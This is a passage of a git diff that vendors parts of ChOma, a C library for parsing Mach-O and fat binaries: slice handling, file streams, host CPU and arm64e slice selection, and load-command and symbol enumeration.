"."); + return 0; +} + +void fat_enumerate_slices(Fat *fat, void (^enumBlock)(MachO *macho, bool *stop)) +{ + for (uint32_t i = 0; i < fat->slicesCount; i++) { + MachO *curMacho = fat->slices[i]; + bool stop = false; + enumBlock(curMacho, &stop); + if (stop) break; + } +} + +MachO *fat_find_slice(Fat *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype) +{ + for (uint32_t i = 0; i < fat->slicesCount; i++) { + MachO *curMacho = fat->slices[i]; + if (curMacho) { + if (curMacho->machHeader.cputype == cputype && curMacho->machHeader.cpusubtype == cpusubtype) { + return curMacho; + } + } + } + return NULL; +} + +MachO *fat_get_single_slice(Fat *fat) +{ + if (fat->slicesCount == 1) { + return fat->slices[0]; + } + return NULL; +} + +void fat_free(Fat *fat) +{ + if (fat->slices != NULL) { + for (int i = 0; i < fat->slicesCount; i++) { + if (fat->slices[i]) { + macho_free(fat->slices[i]); + } + } + free(fat->slices); + } + if (fat->stream) memory_stream_free(fat->stream); + free(fat); +} + +Fat *fat_init_from_memory_stream(MemoryStream *stream) +{ + Fat *fat = malloc(sizeof(Fat)); + if (!fat) return NULL; + memset(fat, 0, sizeof(Fat)); + + fat->stream = stream; + + if (fat_parse_slices(fat) != 0) goto fail; + + //size_t size = memory_stream_get_size(fat->stream); + //printf("File size 0x%zx bytes, MachO slice count %u.\n", size, fat->slicesCount); + return fat; + +fail: + fat->stream = NULL; // The Fat only "owns" the stream when this function does not fail + fat_free(fat); + return NULL; +} + +Fat *fat_dsc_init_from_memory_stream(MemoryStream *stream, DyldSharedCache *containingCache, DyldSharedCacheImage *cacheImage) +{ + Fat *fat = fat_init_from_memory_stream(stream); + if (fat) { + for (int i = 0; i < fat->slicesCount; i++) { + fat->slices[i]->containingCache = containingCache; + fat->slices[i]->cacheImage = cacheImage; + } + } + return fat; +} + +Fat *fat_init_from_path(const char *filePath) +{ + MemoryStream *stream = file_stream_init_from_path(filePath, 0, FILE_STREAM_SIZE_AUTO, 0); + if (stream) { + Fat *fat = fat_init_from_memory_stream(stream); + if (!fat) { + memory_stream_free(stream); + } + return fat; + } + return NULL; +} + +Fat *fat_create_for_macho_array(char *firstInputPath, MachO **machoArray, int machoArrayCount) { + Fat *fat = fat_init_from_path(firstInputPath); + for (int i = 1; i < machoArrayCount; i++) { + if (fat_add_macho(fat, machoArray[i]) != 0) { + printf("Error: failed to add MachO to Fat.\n"); + fat_free(fat); + return NULL; + } + } + return fat; +} + +int fat_add_macho(Fat *fat, MachO *macho) +{ + fat->slicesCount++; + fat->slices = realloc(fat->slices, sizeof(MachO*) * fat->slicesCount); + if (!fat->slices) return -1; + fat->slices[fat->slicesCount - 1] = macho; + return 0; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Fat.h b/XPF/external/ChOma/src/Fat.h new file mode 100644 index 0000000..ddfc480 --- /dev/null +++ b/XPF/external/ChOma/src/Fat.h @@ -0,0 +1,57 @@ +#ifndef MACHO_H +#define MACHO_H + +#include +#include +#include +#include +#include +#include + +#include "MemoryStream.h" +typedef struct MachO MachO; +typedef struct DyldSharedCache DyldSharedCache; +typedef struct DyldSharedCacheImage DyldSharedCacheImage; + +// A Fat structure can either represent a fat file with multiple slices, in which the slices will be loaded into the slices attribute +// Or a single slice MachO, in which case it serves as a compatibility layer and the single slice will also be loaded into the slices attribute +typedef struct Fat +{ + MemoryStream *stream; + MachO **slices; + uint32_t slicesCount; + int fileDescriptor; +} Fat; + +int fat_read_at_offset(Fat *fat, uint64_t offset, size_t size, void *outBuf); + +MemoryStream *fat_get_stream(Fat *fat); + +// Initialise a Fat structure from a memory stream +Fat *fat_init_from_memory_stream(MemoryStream *stream); + +// Initialise a FAT structure from a memory stream of something that is inside a dyld shared cache +Fat *fat_dsc_init_from_memory_stream(MemoryStream *stream, DyldSharedCache *containingCache, DyldSharedCacheImage *cacheImage); + +// Initialise a FAT structure using the path to the file +Fat *fat_init_from_path(const char *filePath); + +// Find macho with cputype and cpusubtype in Fat, returns NULL if not found +MachO *fat_find_slice(Fat *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype); + +// Enumerate all slices contained in Fat +void fat_enumerate_slices(Fat *fat, void (^enumBlock)(MachO *macho, bool *stop)); + +// If Fat only has a single slice, return it +MachO *fat_get_single_slice(Fat *fat); + +// Create a Fat structure from an array of MachO structures +Fat *fat_create_for_macho_array(char *firstInputPath, MachO **machoArray, int machoArrayCount); + +// Add a MachO to the Fat structure +int fat_add_macho(Fat *fat, MachO *macho); + +// Free all elements of the Fat structure +void fat_free(Fat *fat); + +#endif // MACHO_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/FileStream.c b/XPF/external/ChOma/src/FileStream.c new file mode 100644 index 0000000..38d13da --- /dev/null +++ b/XPF/external/ChOma/src/FileStream.c @@ -0,0 +1,210 @@ +#include "FileStream.h" +#include +#include +#include + +static int _file_stream_context_is_trimmed(FileStreamContext *context) +{ + return (context->bufferStart != 0 || context->bufferSize != context->fileSize); +} + +static int file_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf) +{ + FileStreamContext *context = stream->context; + lseek(context->fd, context->bufferStart + offset, SEEK_SET); + return read(context->fd, outBuf, size); +} + +static int file_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + FileStreamContext *context = stream->context; + + // we can't write to non mutable files + if ((stream->flags & MEMORY_STREAM_FLAG_MUTABLE) == 0) return -1; + + // we can't write to files we don't own + if ((stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) == 0) return -1; + + size_t sizeToExpand = 0; + // only expand when possible + if ((context->bufferStart + offset + size) > context->fileSize) { + if (((stream->flags | MEMORY_STREAM_FLAG_AUTO_EXPAND) == 0) || _file_stream_context_is_trimmed(context)) { + printf("Error: file_stream_write failed, file is not auto expandable.\n"); + return -1; + } + sizeToExpand = (context->bufferStart + offset + size) - context->fileSize; + } + + // this is not supported for now: TODO fill with 0's then append the rest + if (context->bufferStart + offset > context->fileSize) return -1; + + context->fileSize += sizeToExpand; + context->bufferSize += sizeToExpand; + + lseek(context->fd, context->bufferStart + offset, SEEK_SET); + return write(context->fd, inBuf, size); +} + +static int file_stream_get_size(MemoryStream *stream, size_t *sizeOut) +{ + FileStreamContext *context = stream->context; + *sizeOut = context->bufferSize; + return 0; +} + +static MemoryStream *file_stream_softclone(MemoryStream *stream) +{ + FileStreamContext *context = stream->context; + return file_stream_init_from_file_descriptor_nodup(context->fd, context->bufferStart, context->bufferSize, 0); +} + +static MemoryStream *file_stream_hardclone(MemoryStream *stream) +{ + FileStreamContext *context = stream->context; + int thisFlags = 0; + if (stream->flags & MEMORY_STREAM_FLAG_MUTABLE) { + thisFlags |= FILE_STREAM_FLAG_WRITABLE; + } + if (stream->flags & MEMORY_STREAM_FLAG_AUTO_EXPAND) { + thisFlags |= FILE_STREAM_FLAG_AUTO_EXPAND; + } + return file_stream_init_from_file_descriptor(context->fd, context->bufferStart, context->bufferSize, thisFlags); +} + +static int file_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd) +{ + FileStreamContext *context = stream->context; + if ((int64_t)context->bufferSize - (trimAtStart + trimAtEnd) < 0) { + return -1; + } + + if ((stream->flags & MEMORY_STREAM_FLAG_MUTABLE) && !_file_stream_context_is_trimmed(context)) { + // If this stream is mutable, we want to actually trim the file itself + uint32_t newSize = context->bufferSize - trimAtStart - trimAtEnd; + memory_stream_copy_data(stream, trimAtStart, stream, 0, newSize); + ftruncate(context->fd, newSize); + } + else { + // Else just trim the part of the file that this buffer represents + context->bufferStart += trimAtStart; + context->bufferSize -= (trimAtStart + trimAtEnd); + } + + return 0; +} + +static int file_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd) +{ + FileStreamContext *context = stream->context; + + // Expanding at start is not supported (for now?) + if (expandAtStart != 0) return -1; + + // If this buffer is trimmed, expanding is also not supported + if (_file_stream_context_is_trimmed(context)) return -1; + + lseek(context->fd, 0, SEEK_END); + for (size_t i = expandAtEnd; i < 0; i--) { + char buf = 0; + write(context->fd, &buf, 1); + } + return 0; +} + +static void file_stream_free(MemoryStream *stream) +{ + FileStreamContext *context = stream->context; + if (context) { + if (context->fd > 0) { + if (stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) { + if (close(context->fd) != 0) { + perror("close"); + } + } + } + free(context); + } +} + +MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags) +{ + MemoryStream *stream = malloc(sizeof(MemoryStream)); + if (!stream) return NULL; + memset(stream, 0, sizeof(MemoryStream)); + + struct stat s; + int statRes = fstat(fd, &s); + if (statRes != 0) { + printf("Error: stat returned %d for %d.\n", statRes, fd); + goto fail; + } + + FileStreamContext *context = malloc(sizeof(FileStreamContext)); + context->fd = fd; + context->fileSize = s.st_size; + + context->bufferStart = bufferStart; + if (bufferSize == FILE_STREAM_SIZE_AUTO) { + context->bufferSize = context->fileSize; + } + else { + context->bufferSize = bufferSize; + } + + stream->context = context; + stream->flags = 0; + if (flags & FILE_STREAM_FLAG_WRITABLE) { + stream->flags |= MEMORY_STREAM_FLAG_MUTABLE; + } + if (flags & FILE_STREAM_FLAG_AUTO_EXPAND) { + stream->flags |= MEMORY_STREAM_FLAG_AUTO_EXPAND; + } + + stream->read = file_stream_read; + stream->write = file_stream_write; + stream->getSize = file_stream_get_size; + + stream->trim = file_stream_trim; + stream->expand = file_stream_expand; + + stream->softclone = file_stream_softclone; + stream->hardclone = file_stream_hardclone; + stream->free = file_stream_free; + + return stream; + +fail: + file_stream_free(stream); + return NULL; +} + +MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags) +{ + MemoryStream *stream = file_stream_init_from_file_descriptor_nodup(dup(fd), bufferStart, bufferSize, flags); + if (stream) { + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return stream; +} + +MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags) +{ + int openFlags = 0; + if (flags & FILE_STREAM_FLAG_WRITABLE) { + openFlags = O_RDWR | O_CREAT; + } + else { + openFlags = O_RDONLY; + } + int fd = open(path, openFlags); + if (fd < 0) { + printf("Failed to open %s: %s\n", path, strerror(errno)); + return NULL; + } + + MemoryStream *stream = file_stream_init_from_file_descriptor_nodup(fd, bufferStart, bufferSize, flags); + if (stream) { + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return stream; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/FileStream.h b/XPF/external/ChOma/src/FileStream.h new file mode 100644 index 0000000..3cab1ea --- /dev/null +++ b/XPF/external/ChOma/src/FileStream.h @@ -0,0 +1,21 @@ +#ifndef FILE_STREAM_H +#define FILE_STREAM_H + +#include "MemoryStream.h" + +#define FILE_STREAM_SIZE_AUTO 0 +#define FILE_STREAM_FLAG_WRITABLE (1 << 0) +#define FILE_STREAM_FLAG_AUTO_EXPAND (1 << 1) + +typedef struct FileStreamContext { + int fd; + size_t fileSize; + uint32_t bufferStart; + size_t bufferSize; +} FileStreamContext; + +MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags); +MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags); +MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags); + +#endif // FILE_STREAM_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/Host.c b/XPF/external/ChOma/src/Host.c new file mode 100644 index 0000000..f0d5c68 --- /dev/null +++ b/XPF/external/ChOma/src/Host.c @@ -0,0 +1,89 @@ +#include "Host.h" + +#include "MachO.h" + +#include +#include +#include +#include +#include + +int host_get_cpu_information(cpu_type_t *cputype, cpu_subtype_t *cpusubtype) +{ + size_t len; + + // Query for cputype + len = sizeof(cputype); + if (sysctlbyname("hw.cputype", cputype, &len, NULL, 0) == -1) { printf("Error: no cputype.\n"); return -1; } + + // Query for cpusubtype + len = sizeof(cpusubtype); + if (sysctlbyname("hw.cpusubtype", cpusubtype, &len, NULL, 0) == -1) { printf("Error: no cpusubtype.\n"); return -1; } + + return 0; +} + +int host_supported_arm64e_abi(void) +{ + struct utsname name; + if (uname(&name) != 0) return -1; + if (strcmp(name.release, "20.0.0") >= 0) { + // iOS 14+, macOS 11+ use new ABI + return 2; + } + else { + // iOS 12-13 use old ABI + return 1; + } +} + +MachO *fat_find_preferred_slice(Fat *fat) +{ + cpu_type_t cputype; + cpu_subtype_t cpusubtype; + if (host_get_cpu_information(&cputype, &cpusubtype) != 0) { return NULL; } + + MachO *preferredMacho = NULL; + + // If you intend on supporting non darwin, implement platform specific logic here using #ifdef's + if (cputype == CPU_TYPE_ARM64) { + if (cpusubtype == CPU_SUBTYPE_ARM64E) { + // If this is an arm64e device, first try to find a new ABI arm64e slice + int supportedArm64eABI = host_supported_arm64e_abi(); + if (supportedArm64eABI != -1) { + if (supportedArm64eABI == 2) { + // Find new ABI slice if host supports it + preferredMacho = fat_find_slice(fat, cputype, (CPU_SUBTYPE_ARM64E | CPU_SUBTYPE_ARM64E_ABI_V2)); + } + if (!preferredMacho) { + // If no new ABI slice is found or the host does not support it, try to find an old ABI arm64e slice + preferredMacho = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64E); + if (preferredMacho) { + if (macho_get_filetype(preferredMacho) == MH_EXECUTE && supportedArm64eABI == 2) { + // If this is an old ABI binary trying to run on a new ABI system, discard it + // If it's an old ABI *library* trying to be loaded on a new ABI system, use it + preferredMacho = NULL; + } + } + } + } + } + + if (!preferredMacho) { + // If not arm64e device or no arm64e slice found, try to find regular arm64 slice + + // The Kernel prefers an arm64v8 slice to an arm64 slice, so check that first + // On iOS <14, dyld does not support arm64v8 slices, but that doesn't matter as the Kernel will still try to spawn it + preferredMacho = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64_V8); + if (!preferredMacho) { + // If that's not found, finally check for a regular arm64 slice + preferredMacho = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64_ALL); + } + } + } + + if (!preferredMacho) { + printf("Error: failed to find a preferred MachO slice that matches the host architecture.\n"); + } + return preferredMacho; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Host.h b/XPF/external/ChOma/src/Host.h new file mode 100644 index 0000000..5f75d9b --- /dev/null +++ b/XPF/external/ChOma/src/Host.h @@ -0,0 +1,14 @@ +#ifndef HOST_H +#define HOST_H + +#include "Fat.h" + +#define CPU_SUBTYPE_ARM64E_ABI_V2 0x80000000 + +int host_get_cpu_information(cpu_type_t *cputype, cpu_subtype_t *cpusubtype); + +// Retrieve the preferred MachO slice from a Fat +// Preferred slice as in the slice that the kernel would use when loading the file +MachO *fat_find_preferred_slice(Fat *fat); + +#endif // HOST_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/MachO.c b/XPF/external/ChOma/src/MachO.c new file mode 100644 index 0000000..0231740 --- /dev/null +++ b/XPF/external/ChOma/src/MachO.c @@ -0,0 +1,812 @@ +#include "Fat.h" +#include "FileStream.h" +#include "MachO.h" +#include "MachOByteOrder.h" +#include "MachOLoadCommand.h" +#include "MemoryStream.h" + +#include +#include +#include +#include +#include + +int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf) +{ + if (macho->containingCache) { + // When this MachO is inside the DSC, it will have segments that point to "out of macho" memory + // So, attempt to translate every offset we get + // Problem: Translation doesn't work before the segments have been loaded and loading the segments requires this function + // Solution: Gracefully fall back to memory_stream_read in the case where translation fails + uint64_t vmaddr = 0; + if (macho_translate_fileoff_to_vmaddr(macho, offset, &vmaddr, NULL) == 0) { + return macho_read_at_vmaddr(macho, vmaddr, size, outBuf); + } + } + + return memory_stream_read(macho->stream, offset, size, outBuf); +} + +int macho_read_string_at_offset(MachO *macho, uint64_t offset, char **outString) +{ + if (macho->containingCache) { + // Same as above + uint64_t vmaddr = 0; + if (macho_translate_fileoff_to_vmaddr(macho, offset, &vmaddr, NULL) == 0) { + return macho_read_string_at_vmaddr(macho, vmaddr, outString); + } + } + return memory_stream_read_string(macho->stream, offset, outString); +} + +int macho_read_uleb128_at_offset(MachO *macho, uint64_t offset, uint64_t maxOffset, uint64_t *endOffsetOut, uint64_t *valueOut) +{ + uint64_t result = 0; + int bit = 0; + + uint64_t curOffset = offset; + int r = 0; + + uint8_t v = 0; + do { + macho_read_at_offset(macho, curOffset, sizeof(v), &v); + if (curOffset == maxOffset) { + r = -1; + break; + } + uint64_t slice = v & 0x7f; + + if (bit > 63) { + r = -1; + break; + } + else { + result |= (slice << bit); + bit += 7; + } + + curOffset++; + } + while (v & 0x80); + + if (r == 0) { + if (endOffsetOut) *endOffsetOut = curOffset; + if (valueOut) *valueOut = result; + } + + return r; +} + +int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, const void *inBuf) +{ + return memory_stream_write(macho->stream, offset, size, inBuf); +} + +MemoryStream *macho_get_stream(MachO *macho) +{ + return macho->stream; +} + +uint32_t macho_get_filetype(MachO *macho) +{ + return macho->machHeader.filetype; +} + +struct mach_header *macho_get_mach_header(MachO *macho) +{ + return &macho->machHeader; +} + +size_t macho_get_mach_header_size(MachO *macho) +{ + return macho->is32Bit ? sizeof(struct mach_header) : sizeof(struct mach_header_64); +} + +DyldSharedCache *macho_get_containing_cache(MachO *macho) +{ + return macho->containingCache; +} + +int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + MachOSegment *segment = macho->segments[i]; + uint64_t segmentStartOff = segment->command.fileoff; + uint64_t segmentEndOff = segment->command.fileoff + segment->command.filesize; + if (fileoff >= segmentStartOff && fileoff < segmentEndOff) { + uint64_t relativeFileoff = fileoff - segmentStartOff; + *vmaddrOut = segment->command.vmaddr + relativeFileoff; + return 0; + } + } + return -1; +} + +int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + MachOSegment *segment = macho->segments[i]; + uint64_t segmentVmAddr = segment->command.vmaddr; + uint64_t segmentVmEnd = segment->command.vmaddr + segment->command.vmsize; + if (vmaddr >= segmentVmAddr && vmaddr < segmentVmEnd) { + uint64_t relativeVmAddr = vmaddr - segmentVmAddr; + *fileoffOut = segment->command.fileoff + relativeVmAddr; + if (segmentOut) *segmentOut = segment; + return 0; + } + } + return -1; +} + +int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf) +{ + if (macho->containingCache) { + return dsc_read_from_vmaddr(macho->containingCache, vmaddr, size, outBuf); + } + else { + MachOSegment *segment; + uint64_t fileoff = 0; + int r = macho_translate_vmaddr_to_fileoff(macho, vmaddr, &fileoff, &segment); + if (r != 0) return r; + + uint64_t readEnd = vmaddr + size; + if (readEnd >= (segment->command.vmaddr + segment->command.vmsize)) { + // prevent OOB + return -1; + } + + return macho_read_at_offset(macho, fileoff, size, outBuf); + } +} + +int macho_read_string_at_vmaddr(MachO *macho, uint64_t vmaddr, char **outString) +{ + if (macho->containingCache) { + return dsc_read_string_from_vmaddr(macho->containingCache, vmaddr, outString); + } + else { + MachOSegment *segment; + uint64_t fileoff = 0; + int r = macho_translate_vmaddr_to_fileoff(macho, vmaddr, &fileoff, &segment); + if (r != 0) return r; + + if (vmaddr >= (segment->command.vmaddr + segment->command.vmsize)) { + // prevent OOB + return -1; + } + + return macho_read_string_at_offset(macho, fileoff, outString); + } +} + +int macho_write_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, const void *inBuf) +{ + MachOSegment *segment; + uint64_t fileoff = 0; + int r = macho_translate_vmaddr_to_fileoff(macho, vmaddr, &fileoff, &segment); + if (r != 0) return r; + + uint64_t readEnd = vmaddr + size; + if (readEnd >= (segment->command.vmaddr + segment->command.vmsize)) { + // prevent OOB + return -1; + } + + return macho_write_at_offset(macho, fileoff, size, inBuf); +} + +int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop)) +{ + if (macho->machHeader.ncmds < 1 || macho->machHeader.ncmds > 1000) { + printf("Error: invalid number of load commands (%d).\n", macho->machHeader.ncmds); + return -1; + } + + // First load command starts after mach header + uint64_t offset = macho_get_mach_header_size(macho); + + for (int j = 0; j < macho->machHeader.ncmds; j++) { + struct load_command loadCommand; + if (macho_read_at_offset(macho, offset, sizeof(loadCommand), &loadCommand) != 0) continue; + LOAD_COMMAND_APPLY_BYTE_ORDER(&loadCommand, LITTLE_TO_HOST_APPLIER); + + if (strcmp(load_command_to_string(loadCommand.cmd), "LC_UNKNOWN") == 0) + { + printf("Ignoring unknown command: 0x%x.\n", loadCommand.cmd); + } + else { + // TODO: Check if cmdsize matches expected size for cmd + uint8_t cmd[loadCommand.cmdsize]; + if (macho_read_at_offset(macho, offset, loadCommand.cmdsize, cmd) != 0) continue; + bool stop = false; + enumeratorBlock(loadCommand, offset, (void *)cmd, &stop); + if (stop) break; + } + offset += loadCommand.cmdsize; + } + return 0; +} + +int macho_enumerate_segments(MachO *macho, void (^enumeratorBlock)(struct segment_command_64 *segment, bool *stop)) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + bool stop = false; + enumeratorBlock(&macho->segments[i]->command, &stop); + if (stop) return 0; + } + return 0; +} + +int macho_enumerate_sections(MachO *macho, void (^enumeratorBlock)(struct section_64 *section, struct segment_command_64 *segment, bool *stop)) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + for (uint32_t k = 0; k < macho->segments[i]->command.nsects; k++) { + bool stop = false; + enumeratorBlock(&macho->segments[i]->sections[k], &macho->segments[i]->command, &stop); + if (stop) return 0; + } + } + return 0; +} + +struct trie_node { + char *string; + uint64_t value; +}; + +int macho_read_trie_node_at_offset(MachO *macho, uint64_t offset, uint64_t maxOffset, uint64_t *endOffsetOut, struct trie_node **trieNodesOut, unsigned *trieNodesCountOut) +{ + if (!trieNodesOut || !trieNodesCountOut) return -1; + + uint8_t trieValue = 0; + macho_read_at_offset(macho, offset, sizeof(trieValue), &trieValue); + offset += sizeof(trieValue); + + if (trieValue != 0) { + *trieNodesOut = NULL; + *trieNodesCountOut = 0; + goto done; + } + + uint8_t numberOfBranches = 0; + macho_read_at_offset(macho, offset, sizeof(numberOfBranches), &numberOfBranches); + offset += sizeof(numberOfBranches); + + *trieNodesCountOut = numberOfBranches; + *trieNodesOut = malloc(sizeof(struct trie_node) * *trieNodesCountOut); + + for (uint8_t i = 0; i < numberOfBranches; i++) { + struct trie_node *node = &(*trieNodesOut)[i]; + macho_read_string_at_offset(macho, offset, &node->string); + offset += strlen(node->string)+1; + macho_read_uleb128_at_offset(macho, offset, maxOffset, &offset, &node->value); + } + +done: + if (endOffsetOut) *endOffsetOut = offset; + return 0; +} + +int macho_enumerate_symbols(MachO *macho, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)) +{ + bool didScanDSC = false; + + if (macho->containingCache && macho->cacheImage) { + // For stuff inside the DSC we need to use the cache image to also be able to fetch private symbols + // Private symbols are normally replaced with in the LC_SYMTAB of the MachO + didScanDSC = (dsc_image_enumerate_symbols(macho->containingCache, macho->cacheImage, enumeratorBlock) == 0); + } + + __block bool hasSymtab = false; + __block struct symtab_command symtabCommand; + __block bool hasExportsTrie = false; + __block struct linkedit_data_command trieCommand; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SYMTAB) { + hasSymtab = true; + memcpy(&symtabCommand, cmd, sizeof(symtabCommand)); + SYMTAB_COMMAND_APPLY_BYTE_ORDER(&symtabCommand, LITTLE_TO_HOST_APPLIER); + } + else if (loadCommand.cmd == LC_DYLD_EXPORTS_TRIE) { + hasExportsTrie = true; + memcpy(&trieCommand, cmd, sizeof(trieCommand)); + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(&trieCommand, LITTLE_TO_HOST_APPLIER); + } + + if (hasSymtab && hasExportsTrie) *stop = true; + }); + + if (hasSymtab) { + char *strtbl = malloc(symtabCommand.strsize); + if (macho_read_at_offset(macho, symtabCommand.stroff, symtabCommand.strsize, strtbl) != 0) { + free(strtbl); + return -1; + } + + for (int i = 0; i < symtabCommand.nsyms; i++) { + uint64_t n_strx = 0; + uint64_t n_value = 0; + uint8_t n_type = 0; + int r = 0; + + #define _GENERIC_READ_NLIST(nlistType, APPLIER) do { \ + struct nlistType entry; \ + if ((r = macho_read_at_offset(macho, symtabCommand.symoff + (i * sizeof(entry)), sizeof(entry), &entry)) != 0) break; \ + APPLIER(&entry, LITTLE_TO_HOST_APPLIER); \ + n_strx = entry.n_un.n_strx; \ + n_value = entry.n_value; \ + n_type = entry.n_type; \ + } while (0) + + if (macho->is32Bit) { + _GENERIC_READ_NLIST(nlist, NLIST_APPLY_BYTE_ORDER); + } + else { + _GENERIC_READ_NLIST(nlist_64, NLIST_64_APPLY_BYTE_ORDER); + } + + if (r != 0) continue; + + #undef _GENERIC_READ_NLIST + + if (n_strx >= symtabCommand.strsize || n_strx == 0) continue; + + const char *symbolName = &strtbl[n_strx]; + if (symbolName[0] == 0) continue; + + if (didScanDSC) { + /* If we already got the real private symbols from the DSC, omit any censored ones */ + if (!strcmp(symbolName, "")) continue; + } + + bool stopSym = false; + enumeratorBlock(symbolName, n_type, n_value, &stopSym); + if (stopSym) { + break; + } + } + free(strtbl); + } + else if (hasExportsTrie) { + uint64_t trieBegin = trieCommand.dataoff; + uint64_t trieSize = trieCommand.datasize; + uint64_t trieEnd = trieBegin + trieSize; + + uint64_t trieBeginVm = 0; + uint64_t trieEndVm = 0; + macho_translate_fileoff_to_vmaddr(macho, trieBegin, &trieBeginVm, NULL); + macho_translate_fileoff_to_vmaddr(macho, trieEnd, &trieEndVm, NULL); + + uint64_t trieCur = trieBegin; + + struct trie_node *frontier = NULL; + unsigned frontierCount = 0; + macho_read_trie_node_at_offset(macho, trieCur, trieEnd, &trieCur, &frontier, &frontierCount); + for (unsigned i = 0; i < frontierCount; i++) { + struct trie_node *node = &frontier[i]; + + uint64_t offset = trieBegin + node->value; + struct trie_node *children = NULL; + unsigned childrenCount = 0; + macho_read_trie_node_at_offset(macho, offset, trieEnd, &offset, &children, &childrenCount); + if (!childrenCount) { + uint64_t ulebOffset = offset - sizeof(uint8_t); + uint64_t flags = 0; + macho_read_uleb128_at_offset(macho, ulebOffset, trieEnd, &ulebOffset, &flags); + ulebOffset += sizeof(uint8_t); + + uint64_t addrOff = 0; + macho_read_uleb128_at_offset(macho, ulebOffset, trieEnd, &ulebOffset, &addrOff); + + bool stop = false; + enumeratorBlock(node->string, 0, macho_get_base_address(macho) + addrOff, &stop); + if (stop) break; + } + else { + unsigned prevEnd = frontierCount; + frontierCount += childrenCount; + frontier = realloc(frontier, sizeof(struct trie_node) * frontierCount); + node = &frontier[i]; + + for (unsigned k = 0; k < childrenCount; k++) { + frontier[prevEnd + k].string = malloc(strlen(node->string) + strlen(children[k].string) + 1); + strcpy(frontier[prevEnd + k].string, node->string); + strcat(frontier[prevEnd + k].string, children[k].string); + frontier[prevEnd + k].value = children[k].value; + } + + for (unsigned k = 0; k < childrenCount; k++) { + free(children[k].string); + } + free(children); + } + } + + for (unsigned i = 0; i < frontierCount; i++) { + free(frontier[i].string); + } + free(frontier); + } + + return 0; +} + +int macho_enumerate_dependencies(MachO *macho, void (^enumeratorBlock)(const char *dylibPath, uint32_t cmd, struct dylib* dylib, bool *stop)) +{ + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop){ + if (loadCommand.cmd == LC_LOAD_DYLIB || + loadCommand.cmd == LC_LOAD_WEAK_DYLIB || + loadCommand.cmd == LC_REEXPORT_DYLIB || + loadCommand.cmd == LC_LAZY_LOAD_DYLIB || + loadCommand.cmd == LC_LOAD_UPWARD_DYLIB) { + struct dylib_command *dylibCommand = (struct dylib_command *)cmd; + DYLIB_COMMAND_APPLY_BYTE_ORDER(dylibCommand, LITTLE_TO_HOST_APPLIER); + if (dylibCommand->dylib.name.offset >= loadCommand.cmdsize || dylibCommand->dylib.name.offset < sizeof(struct dylib_command)) { + printf("WARNING: Malformed dependency at 0x%llx (Name offset out of bounds)\n", offset); + return; + } + char *dependencyPath = ((char *)cmd + dylibCommand->dylib.name.offset); + size_t dependencyLength = strnlen(dependencyPath, loadCommand.cmdsize - dylibCommand->dylib.name.offset); + if (!dependencyLength) { + printf("WARNING: Malformed dependency at 0x%llx (Name has zero length)\n", offset); + return; + } + if (dependencyPath[dependencyLength] != 0) { + printf("WARNING: Malformed dependency at 0x%llx (Name has non NULL end byte)\n", offset); + return; + } + + bool stopDepdendency = false; + enumeratorBlock(dependencyPath, loadCommand.cmd, &dylibCommand->dylib, &stopDepdendency); + if (stopDepdendency) { + *stop = true; + return; + } + } + }); + return 0; +} + +int macho_enumerate_rpaths(MachO *macho, void (^enumeratorBlock)(const char *rpath, bool *stop)) +{ + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_RPATH) { + struct rpath_command *rpathCommand = (struct rpath_command *)cmd; + RPATH_COMMAND_APPLY_BYTE_ORDER(rpathCommand, LITTLE_TO_HOST_APPLIER); + + if (rpathCommand->path.offset >= loadCommand.cmdsize || rpathCommand->path.offset < sizeof(struct rpath_command)) { + printf("WARNING: Malformed rpath at 0x%llx (Path offset out of bounds)\n", offset); + 